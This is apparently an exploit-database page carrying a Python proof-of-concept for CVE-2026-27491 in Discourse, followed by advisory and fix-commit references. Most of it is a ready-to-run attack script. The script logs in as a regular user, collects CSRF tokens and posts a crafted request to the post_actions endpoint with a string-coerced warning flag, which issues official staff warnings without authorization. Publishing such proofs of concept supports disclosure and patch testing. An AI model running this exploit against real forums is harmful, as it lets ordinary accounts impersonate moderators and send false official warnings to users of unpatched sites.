Discourse <= 2026.2.1 Authenticated Missing Authorization

2026.03.21
Risk: Medium
Local: No
Remote: Yes

#!/usr/bin/env python3 # Exploit Title: Discourse <= 2026.2.1 Authenticated Missing Authorization (Official Warnings Bypass) # CVE: CVE-2026-27491 # Date: 2026-03-21 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.discourse.org # Software Link: https://github.com/discourse/discourse # Affected: Discourse <= 2026.2.1 (and earlier unpatched releases in 2026.x / 3.2.x branches) # Tested on: Discourse 3.2.x (pre-patch) # Category: Webapps # Platform: Ruby on Rails # Exploit Type: Remote Authorization Bypass # CVSS: 6.5 (Medium) – AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N # CWE: CWE-862 # Description: Authenticated non-staff users can issue official staff warnings to other users # by abusing type coercion in the post_actions endpoint (notify_user action). # Fixed in: 2026.1.2, 2026.2.1, 2026.3.0-latest.1 # Usage: # python3 exploit.py <target_url> --username <user> --password <pass> --target-user-id <id> --post-id <post_id> # # Examples: # python3 exploit.py https://forum.example.com --username regular --password pass123 \ # --target-user-id 456 --post-id 7890 # print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-27491 • Discourse → Issue Official Warnings as Non-Staff ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import argparse import requests import sys from urllib.parse import urljoin def get_csrf(session, base_url): r = session.get(urljoin(base_url, "/session/csrf")) if r.status_code != 200: print("[-] Failed to fetch CSRF token") sys.exit(1) data = r.json() csrf = data.get("csrf") if not csrf: print("[-] CSRF token not found") sys.exit(1) return csrf def login(session, base_url, username, password): csrf = get_csrf(session, base_url) login_url = urljoin(base_url, "/session") payload = { "login": username, "password": password, "second_factor_method": 1, "value": "", "use_another_method": False, "remember_me": False, "csrf": csrf } r = session.post(login_url, json=payload) if r.status_code != 200 or not r.json().get("success"): print("[-] Login failed - check credentials") sys.exit(1) print("[+] Login successful") return get_csrf(session, base_url) # refresh csrf after login def issue_warning(session, base_url, post_id, target_user_id, message): csrf = get_csrf(session, base_url) url = urljoin(base_url, "/post_actions") payload = { "id": post_id, "post_action_type_id": 4, # notify_user "message": message, "is_warning": "true", # string that triggered the bypass "username": f"user_{target_user_id}", "take_action": True, "csrf": csrf } headers = { "X-CSRF-Token": csrf, "Accept": "application/json, */*", "Content-Type": "application/json" } r = session.post(url, json=payload, headers=headers) if r.status_code == 200 and "success" in r.text.lower(): print("[+] SUCCESS: Official warning sent!") print(f" → Target user ID: {target_user_id}") print(f" → Message: {message}") print(" → Should now appear in target user's inbox as staff warning") else: print(f"[-] Failed ({r.status_code})") try: print(r.json()) except: print(r.text[:400]) def main(): parser = argparse.ArgumentParser( description="CVE-2026-27491 PoC - Discourse non-staff official warning bypass" ) parser.add_argument("target", help="Target Discourse URL (e.g. https://forum.example.com)") parser.add_argument("--username", required=True, help="Non-staff username") parser.add_argument("--password", required=True, help="Password") parser.add_argument("--target-user-id", type=int, required=True, help="User ID to send warning to") parser.add_argument("--post-id", type=int, required=True, help="Any post ID visible to the account") parser.add_argument("--message", default="This is an unauthorized official warning test", help="Warning text") args = parser.parse_args() s = requests.Session() s.headers.update({"User-Agent": "Mozilla/5.0 (PoC)"}) print(f"[*] Target: {args.target}") login(s, args.target, args.username, args.password) print(f"[*] Attempting to issue warning to user ID {args.target_user_id} via post {args.post_id}") issue_warning(s, args.target, args.post_id, args.target_user_id, args.message) if __name__ == "__main__": main()

References:

https://github.com/discourse/discourse/security/advisories/GHSA-xq37-5fvf-4m4j
https://github.com/discourse/discourse/commit/d3cb203feabc46d765ecb91f348613a2bd531b89
https://github.com/discourse/discourse/commit/60a588f4da4ab0feceb2c44787d4261b4f8757be
https://github.com/discourse/discourse/commit/f5fef73827da7520efc517357bd2a6bab35d7886
https://nvd.nist.gov/vuln/detail/CVE-2026-27491


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top